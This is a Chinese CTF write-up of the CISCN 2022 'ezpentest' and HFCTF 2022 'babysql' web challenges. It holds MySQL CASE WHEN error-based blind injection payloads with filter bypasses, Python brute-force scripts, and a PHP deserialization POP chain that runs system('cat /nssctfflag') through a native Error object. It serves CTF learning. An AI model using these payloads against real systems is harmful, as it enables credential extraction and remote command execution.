CISCN(Web Ezpentest)GC、序列化、case when

2023-10-27

目录

REGEXP的一个点(正则)

like(默认不区分大小写)

当禁用了空格

regexp,like的区分大小写的使用方法

[CISCN 2022 初赛]ezpentest

卡点 

 2022 HFCTF babysql


最近又学到了一道新知识,case when的错误注入,也是盲注的一种。

mysql> select case binary 'B' when 'a' then 1 when 'b' then 2 end;

结果返回 NULL

解释一下这个就可以理解,也就是首先二进制(B),然后when后面其实就是判断,如果判断成功执行 then都没有则会返回NULL

 mysql> select id from tb where id=0 || case 1 when flag REGEXP '^f' then 1 else 1+~0 end;

 单纯看的话,这段代码基本就是sql注入的后端,id后面的东西是需要我们注入的,

0 || case 1 when flag REGEXP '^f' then q else 1+~0 end;

REGEXP后面是是否以f开头,重点是这里如果不成立则会 1+~0 

(这里 ~ 为取反操作符,0 取反即为最大值,再加 1 溢出报错)

使用条件:一般会禁用掉if(),然后溢出报错会显示500,所以我们可以进行一个盲注。

REGEXP的一个点(正则)

^                         匹配字符串的开始部分

$                         匹配字符串的结束部分

.                          匹配任何字符(包括回车和新行)

如果我们使用这个函数进行sql盲注的时候,如果匹配到了需要转义一下

if i in '.':
    i = "\\" + i

like(默认不区分大小写)

 LIKE 关键字支持百分号“%”和下划线“_”通配符。一样转义

WHERE name LIKE 't%';
WHERE name LIKE BINARY 't%';(区分大小写)

当禁用了空格

使用科学计数法和单(反)引号绕过

mysql> SELECT id FROM tb WHERE id=0 ||CASE+1e0WHEN`flag`REGEXP'^f'THEN+1e0ELSE~0e0+~0e0END;

CASE+1e0WHEN`flag`REGEXP'^f'THEN+1e0ELSE~0e0+~0e0END;
 case 1 when flag REGEXP '^f' then 1 else 1+~0 end;

比较看来也就是变成了科学计数法,然后else后面的值变了

1+~0   -------------》   ~0e0+~0e0 解释是科学计数法的范围变大了。

regexp,like的区分大小写的使用方法

mysql> SELECT 'abc' LIKE _utf8mb4 'ABC' COLLATE utf8mb4_0900_as_cs;
        -> 0
mysql> SELECT 'abc' LIKE _utf8mb4 'ABC' COLLATE utf8mb4_bin;
        -> 0
mysql> SELECT 'abc' LIKE BINARY 'ABC';
        -> 0

mysql> SELECT id FROM tb WHERE id=0 ||CASE+1e0WHEN`flag`REGEXP+BINARY'^F'THEN+1e0ELSE~0e0+~0e0ENDD;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(~(0e0) + ~(0e0))'

mysql> SELECT id FROM tb WHERE id=0 ||CASE+1e0WHEN`flag`REGEXP'^F'COLLATE'utf8mb4_bin'THEN+1e0ELSE~0e0+~0e0ENDD;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(~(0e0) + ~(0e0))'

[CISCN 2022 初赛]ezpentest

<?php
function safe($a) {
    $r = preg_replace('/[\s,()#;*~\-]/','',$a);
    $r = preg_replace('/^.*(?=union|binary|regexp|rlike).*$/i','',$r);
    return (string)$r;
  }

?>
//正则这里\s表示所有空白字符比如空格,tab,%00等
///^.*(?=union|binary).*$/gi表示匹配所有包含union和binary等的字符串

发现了,我们字符比较regexp和rlike ()都禁用了,if用不了没括号,所以只能用上面讲的case when和like

import string
import requests


str = string.ascii_letters + string.digits + "$@!^&}{_%"
payload = "0'||case'1'when`username`collate'utf8mb4_bin'like'{}%'then+9223372036854775807+1+''else'0'end||'"
payload1 = "0'||case'1'when`password`collate'utf8mb4_bin'like'{}%'then+9223372036854775807+1+''else'0'end||'"
url = 'http://1.14.71.254:28582/login.php'
f = ""
while 1:
    for i in str:
        if i in '%_':
            i = "\\" + i

        resp = requests.post(url=url, data={"username": payload.format(f + i),
                                            "password": "0"})
        if resp.status_code == 500:
            f += i
            print(f)
            break

这里不用~0e0是因为,~被过滤掉了所以直接用的最大数+1 

得出

username: nssctfwabbybaboo!@$%!!<br>
password: PAssw40d_Y0u3_Never_Konwn!@!!

 

因为这个解密要求非常严格,所以最好通过脚本下载下来

<?php

$url = "http://1.14.71.254:28391/login.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIE, "PHPSESSID=ru3g5iqq3bcj80jv5btt4hgdj0");
$result = curl_exec($ch);
curl_close($ch);
echo urlencode($result);
file_put_contents("jiemi2.php", $result);
//保存会话内容八成是


登陆进去后,页面显示乱码,然后看源码,发现是PHPJiaMi.com加密,然后github上有解密脚本 

<?php
session_start();
if(!isset($_SESSION['login'])){//session必须要存在
    die();
}
function Al($classname){
    include $classname.".php"; //文件包含漏洞自动加php
}

if(isset($_REQUEST['a'])){
    $c = $_REQUEST['a'];
    $o = unserialize($c);//反序列化,说明我们要传一个序列化好的数据
    if($o === false) {
        die("Error Format");
    }else{
        spl_autoload_register('Al');
        $o = unserialize($c);
        $raw = serialize($o);
        if(preg_match("/Some/i",$raw)){
            throw new Error("Error");
        }
        $o = unserialize($raw);
        var_dump($o);
    }
}else {
    echo file_get_contents("SomeClass.php");
}
 

审计代码后发现是利用pop链,spl_autoload_register这个函数就是自动加载类,当new一个没有包含的类时,他就会自动调用类A1静态方法来包含所需的类,但是里面过滤掉了some并且下面会抛出错误,所以我们的思路是提前调用destruct.

直接访问获得另一个文件

卡点 

这里我单纯的以为访问哪个目录,就会是哪个php但不是,通过上面的file_get_contents("SomeClass.php"),虽然访问/ND3x...,但其实这个文件是Someclass.php

Someclass.php 


<?php
class A
{
    public $a;
    public $b;
    public function see()
    {
        $b = $this->b;
        $checker = new ReflectionClass(get_class($b));
        if(basename($checker->getFileName()) != 'SomeClass.php'){
            if(isset($b->a)&&isset($b->b)){
                ($b->a)($b->b."");
            }
        }
    }
}
class B
{
    public $a;
    public $b;
    public function __toString()
    {
        $this->a->see();
        return "1";
    }
}
class C
{
    public $a;
    public $b;
    public function __toString()
    {
        $this->a->read();
        return "lock lock read!";
    }
}
class D
{
    public $a;
    public $b;
    public function read()
    {
        $this->b->learn();
    }
}
class E
{
    public $a;
    public $b;
    public function __invoke()
    {
        $this->a = $this->b." Powered by PHP";
    }
    public function __destruct(){
        //eval($this->a); ??? 吓得我赶紧把后门注释了
        //echo "???";
        die($this->a);
    }
}
class F
{
    public $a;
    public $b;
    public function __call($t1,$t2)
    {
        $s1 = $this->b;
        $s1();
    }
}

?>

这里卡就卡在

$checker = new ReflectionClass(get_class($b));
        if(basename($checker->getFileName()) != 'SomeClass.php'){
            if(isset($b->a)&&isset($b->b)){
                ($b->a)($b->b."");
            }
        }

通过看别的师傅wp,可以发现需要用一个原生类,然后($b->a)($b->b."");不就是  system("ls")的格式吗,原生类->a  ->b就可以了,用Error()或者别的都可以。

<?php
class A
{
    public $a;
    public $b;
    public function see()
    {
        $b = $this->b;
        $checker = new ReflectionClass(get_class($b));
        if(basename($checker->getFileName()) != 'SomeClass.php'){
            if(isset($b->a)&&isset($b->b)){
                ($b->a)($b->b."");
            }
        }
    }
}
class B
{
    public $a;
    public $b;
    public function __toString()
    {
        $this->a->see();
        return "1";
    }
}
 
class E
{
    public $a;
    public $b;
    public function __invoke()
    {
        $this->a = $this->b." Powered by PHP";
    }
    public function __destruct(){
        //eval($this->a); ??? 吓得我赶紧把后门注释了
        //echo "???";
        die($this->a);
    }
}
class SomeClass{
    public $a;
}
$e=new E();
$b=new B();
$a=new A();
$e->a=$b;
$b->a=$a;
$x=new Error();
$x->a="system";
$x->b="cat /nssctfflag";
$a->b=$x;
$result=new SomeClass();
$result->a=$e;
$result = serialize(array($result,0));
$result = str_replace("i:1","i:0",$result);
$result = urlencode($result);
echo $result;
a:2:{i:0;O:9:"SomeClass":1:{s:1:"a";O:1:"E":2:{s:1:"a";O:1:"B":2:{s:1:"a";O:1:"A":2:{s:1:"a";N;s:1:"b";O:5:"Error":9:{s:10:"*message";s:0:"";s:13:"Errorstring";s:0:"";s:7:"*code";i:0;s:7:"*file";s:15:"/box/script.php";s:7:"*line";i:63;s:12:"Errortrace";a:0:{}s:15:"Errorprevious";N;s:1:"a";s:6:"system";s:1:"b";s:2:"ls";}}s:1:"b";N;}s:1:"b";N;}}i:1;i:0;}

这里为什么加了一个 SomeClass方法呢,别的wp都没有结束,我之能猜测一下那是因为第一个文件压根没包含Someclass文件然后有了new SomeClass(),这样就可以包含Someclass这个文件,至于后面的array($result,0),还有替换就是GC的回收机制,如果

a:2:{i:0;O:9:"SomeClass":1:{s:1:"a";O:1:"E":2:{s:1:"a";O:1:"B":2:{s:1:"a";O:1:"A":2:{s:1:"a";N;s:1:"b";O:5:"Error":9:{s:10:"*message";s:0:"";s:13:"Errorstring";s:0:"";s:7:"*code";i:0;s:7:"*file";s:15:"/box/script.php";s:7:"*line";i:50;s:12:"Errortrace";a:0:{}s:15:"Errorprevious";N;s:1:"a";s:6:"system";s:1:"b";s:15:"cat /nssctfflag";}}s:1:"b";N;}s:1:"b";N;}}i:0;i:0;} 

i 本应该等于 1修改为 i = 0。那不就是把i = 0指向NULL了吗?然后就实现了GC回收。

 

HFCTF2022_babysql题目复现 (pankas.top)

 2022 HFCTF babysql

import requests
import time

session = requests.session()

burp0_url = "http://47.107.231.226:30631/login"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0",
                 "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
                 "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate",
                 "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://47.107.231.226:30631", "Connection": "close", "Referer": "http://47.107.231.226:30631/",
                 "Upgrade-Insecure-Requests": "1"}

alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!.@%&*{}[]_-^/"
password = '^'

while True:
    for i in alphabet:
        burp0_data = {"username": f"1'||case+1E0when`password`regexp'{password + i}'COLLATE'utf8mb4_bin'then+1E0else+!0E0+~0+!0E0end||'0", "password": "6878"}
        r = session.post(burp0_url, headers=burp0_headers, data=burp0_data)
        if r.status_code == 401:
            print(i)
            password += i
            break
        time.sleep(0.3)
    print(password)

逻辑很简单,和上面的题差不多,区别在于 regexp '^q'以及用的科学计数法

m52FPlDxYyLB.eIzAr!8gxh.

这样会产生点,为什么呢因为.相当于一个通配符,所以可以和上面一样转义掉就行。 

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

CISCN(Web Ezpentest)GC、序列化、case when 的相关文章

  • 如何使组合键唯一?

    I am making a database of students in one school Here is what I have so far 如果您不喜欢阅读 请跳至 简而言之 部分 问题是我对这个设计并不满意 我想要的组合gra
  • 有关 payment_status 的帮助 PayPal 已退款 已撤销 部分退款 ION

    如果会员订阅和 或支付一次付款并且他们请求退款 撤销或部分退款 下面的脚本是否可以与通过 IPN 发送的 IPN 消息一起使用 if payment status Refunded payment status Reversed payme
  • 尝试通过比较不同的表从 SQL 查询输出正确的值

    我对 SQL 非常陌生 需要有关如何使用正确的查询完成此任务的帮助 我有 2 张桌子需要使用 表 TB1 有 id Name 1 bob 2 blow 3 joe 表 TB2 有 compid property 1 bob 2 blow 我
  • 为什么涉及用户变量的表达式的求值顺序未定义?

    From MySQL手册 http dev mysql com doc refman 5 7 en user variables html以下查询的输出不保证始终相同 SET a 0 SELECT a AS first a a 1 AS s
  • Azure COSMOS DB 如何查询数组中的内容

    如何进行查询以获取文档数组 roles 中包含某些内容的文档 我想获取以下文档 其中 Trainer 是数组中的元素 enabled true profilePicture null roles Trainer Client SELECT
  • SQL 事务如何工作?

    我从事 SQL 工作的时间并不长 但我想我明白 通过将 SQL 语句包装在事务中 所有语句都会完成 或者都不会完成 这是我的问题 我有一个包含 lineitem 集合的订单对象 行项目在 order OrderId 上相关 我已经证实所有
  • 多个连接到同一个表

    我有这组表格和数据 CREATE TABLE item id INT PRIMARY KEY name VARCHAR CREATE TABLE property id INT PRIMARY KEY name VARCHAR CREATE
  • PHP实现的机票预订系统

    如何防止预订系统中的座位被重复预订 我正在用 PHP 和 MYSQL 制作一个航空旅行预订系统模型作为一个项目 我有一个小问题 仅在付款后 门票和座位详细信息才会永久存储在此处 座位号在付款前分配 假设人 1 预订了飞机上的座位 x 并支付
  • grails/mysql 时区更改

    完成更改应用程序时区的最佳方法是什么 在我看来 必须发生以下情况 服务器 TZ 已被系统管理员更改 mysql必须重新启动 数据库中每个基于时间的列都必须使用convert tz 或等效方法更新所有值 因此 要么必须编写一个 mysql 脚
  • 为什么将 MySQL 凭据放在 www 目录之外? [复制]

    这个问题在这里已经有答案了 可能的重复 将核心类放在 Web 根目录之上 好还是坏主意 https stackoverflow com questions 3648739 putting core classes above the web
  • java中如何知道一条sql语句是否执行了?

    我想知道这个删除语句是否真的删除了一些东西 下面的代码总是执行 else 是否删除了某些内容 执行此操作的正确方法是什么 public Deleter String pname String pword try PreparedStatem
  • Drupal 视图 - 自定义/修改 SQL

    我遇到了 配置文件复选框 模块的问题 该模块存储以逗号分隔的自定义配置文件字段 问题是我是否创建一个视图来按值过滤 SQL 结果最终是这样的 AND profile values profile interests value in Bus
  • JOOQ 忽略具有默认值的数据库列

    看来JOOQ完全忽略了数据库列的默认值 既不会更新 ActiveRecord 对象 也不会在 INSERT 时跳过此列 相反 它尝试将其设置为 NULL 这在 NOT NULL 列上失败 Example CREATE TABLE bug f
  • 如何查找列中未使用的ID? [复制]

    这个问题在这里已经有答案了 可能的重复 SQL查询查找丢失的序列号 https stackoverflow com questions 1057389 sql query to find missing sequence numbers 我
  • 如何使用内联 SQL 参数化 IN 语句的集合? [复制]

    这个问题在这里已经有答案了 可能的重复 参数化 SQL IN 子句 https stackoverflow com questions 337704 parameterizing a sql in clause 你好 我有一个查询 如下所示
  • CakePHP - 获取上次运行的查询

    我想获取 CakePHP 运行的最后一个查询 我无法在 core php 中打开调试 也无法在本地运行代码 我需要一种方法来获取最后一个 sql 查询并将其记录到错误日志中而不影响实时站点 该查询失败但正在运行 像这样的事情会很棒 this
  • 如何使用MySqlCommand和prepare语句进行多行插入?(#C)

    Mysql 给出了如何使用准备语句和 NET 插入行的示例 http dev mysql com doc refman 5 5 en connector net programming prepared html http dev mysq
  • MySQL中如何存储小数?

    我尝试过将 DECIMAL 与 2 2 一起使用 但它不允许我使用它 我只想存储一个数字 例如 7 50 或 10 50 我需要将这两个数字保留在小数点后 但是当我刷新数据库时 它会将值重置为 0 99 有什么建议么 第一个参数DECIMA
  • 返回年份数组作为年份范围

    我正在尝试查询一个包含以下内容的表character varying 年份列 并将这些年份作为逗号分隔的年份范围字符串返回 年份范围将由数组中存在的连续年份确定 不连续的年份 年份范围应以逗号分隔 数据类型的原因是character var
  • MySQL #1093 - 您无法在 FROM 子句中指定用于更新的目标表“赠品”

    I tried UPDATE giveaways SET winner 1 WHERE ID SELECT MAX ID FROM giveaways 但它给出了 1093 您无法指定目标表 赠品 进行更新FROM clause 本文 ht

随机推荐

  • Mybatis框架:foreach循环遍历字段以及mybatis取值报错There is no getter for property named '__frch_item_0'问题的记录

    估计这时候会有人想 查询动态字段返回值为tableName 就可以了啊 的确 但是个人原因吧 不太喜欢用 来做为查询返回字段 而且用 会影响数据库查询性能 因此才想到用foreach来循环遍历所需字段 foreach 基本语法 标签体内主要
  • 完整的蓝屏错误代码大全详解

    完整的BSOD错误代码列表从STOP 0x1到STOP 0xC0000221 一个死机 BSOD 的蓝屏 技术上称为一个STOP错误 若在Windows遭受了严重的错误 被迫 停 的问题 在任何Windows 操作系统中都会出现BSOD错误
  • CSS基础 —— 浮动布局实例详解和清除浮动的方法

    案例解析 非浮动布局时 包裹元素高度自适应 若给p标签增加浮动属性 包裹元素高度为0 出现高度塌陷问题 在实际应用中 这并不是我们想要的效果 这时就需要清除浮动 即闭合浮动元素 解决办法 方法1 为包裹元素追加一个内容为空的元素 设置cle
  • Linux命令之sed批量替换字符串

    使用sed命令可以进行字符串的批量替换操作 以节省大量的时间成本 将多个文件中的字符串1替换为字符串2 使用的格式如下 sed i s oldstring newstring g grep oldstring rl data a 该组合操作
  • 数据结构链表基本的增删改查源码

    include
  • 火山OpenSSL支持库-04-RC加解密

    本源码转载自利快云https www lkuaiy com 火山OpenSSL支持库 04 RC加解密 一 需要调用的模块 视窗基本类 MFC界面基本类 OpenSSL 二 RC加解密简单介绍 1 RC算法的速度可以达到DES加密的10倍左
  • Ironsource sdk在Unity 2019.3.x下代码过时bug

    报错 Assets IronSource Editor FacebookSettings cs 18 48 error CS0619 PBXProject GetUnityTargetName is obsolete This functi
  • Java 面向对象

    1 继承 1 extends 用于类的继承 implements 用于接口的继承 2 extends 不能多重继承 但是 implements 可以多重继承 3 super关键字 用来引用当前对象的父类 this关键字 指向自己的引用 4
  • k8s-client-go源码剖析(一)

    简介 云原生社区活动 Kubernetes源码剖析第一期 有幸参与云原生社区举办的Kubernetes源码剖析活动 活动主要以书籍 Kubernetes源码剖析 为主要思路进行展开 提出在看书过程中遇到的问题 和社区成员一起讨论 最后会将结
  • 简述ospf的工作原理_全方位了解OSPF的工作原理以及涉及到的重要技术

    OSPF协议是IGP中的一种动态路由协议 它属于链路状态协议 交互的是LSA 链路状态通告 信息 对路由信息的认知很清晰 该文主要阐述了OSPF协议的工作原理 OSPF状态机以及OSPF协议中涉及到的重要技术 关键词 OSPF协议 LSA
  • 快乐数

    编写一个算法来判断一个数是不是 快乐数 一个 快乐数 定义为 对于一个正整数 每一次将该数替换为它每个位置上的数字的平方和 然后重复这个过程直到这个数变为 1 也可能是无限循环但始终变不到 1 如果可以变为 1 那么这个数就是快乐数 示例
  • uni-app的生命周期

    uni app的生命周期包括应用生命周期和页面生命周期 应用生命周期涵盖了整个uni app应用的启动 运行和销毁过程 主要包括以下几个生命周期函数 onLaunch 应用初始化时触发 只触发一次 onShow 应用启动或从后台进入前台时触
  • 自动化测试 selenium 解决selenium.common.exceptions.SessionNotCreatedException: Message: session not created

    问题 selenium common exceptions SessionNotCreatedException Message session not created 原因 selenium模拟的客户端对浏览器的操作 相应浏览器的驱动版本
  • java模拟post请求发送json数据

    import com alibaba fastjson JSONObject import org apache http client methods CloseableHttpResponse import org apache htt
  • Python3中pickle模块介绍

    Pyhton3中的pickle模块用于对Python对象结构的二进制进行序列化 或pickling 和反序列化 或unpickling pickling 是将Python对象及其所拥有的层次结构转化为一个字节流 byte stream 的过
  • 首次使用计算机 鼠标没反应,鼠标没反应各种解决方法教程

    我们在使用鼠标的时候开始肯定没问题 但长期使用下来 总会出现一种故障 比如最常见的鼠标没反应的问题 也就是说不管你怎么滑动鼠标 显示器里的光标都不动了 这种问题怎么解决呢 我们要分成有线鼠标和无线鼠标两种情况 一 有线鼠标没反应 一般有线鼠
  • kalilinux搭建DCN漏洞靶场

    kalilinux系统搭建DCN漏洞靶场 前言 安装kalilinux 搭建靶场 WinSCP连接kalilinux实现文件上传 导入镜像 前言 最近想学一下WEB安全 顺便学习一下靶场环境的搭建 之前搭建过webug玩了一下 但自己电脑运
  • 编程的美学标准诌议

    编程的美学标准诌议 做了几年的程序员 虽然自己写的代码还远远没有达到要求 但在日复一日的实践过程中 我逐渐开始信奉一条标准 在实现功能的前提下 简单即是美 其实 编程的过程就好比是一个建模的过程 设计就是将一个现实问题抽象成逻辑模型 而编码
  • git命令使用上传下载详情大全...

    不罗嗦直接上内容 git branch 查看本地所有分支 git status 查看当前状态 git commit 提交 git branch a 查看所有的分支 git branch r 查看远程所有分支 git commit am in
  • CISCN(Web Ezpentest)GC、序列化、case when

    目录 REGEXP的一个点 正则 like 默认不区分大小写 当禁用了空格 regexp like的区分大小写的使用方法 CISCN 2022 初赛 ezpentest 卡点 2022 HFCTF babysql 最近又学到了一道新知识 c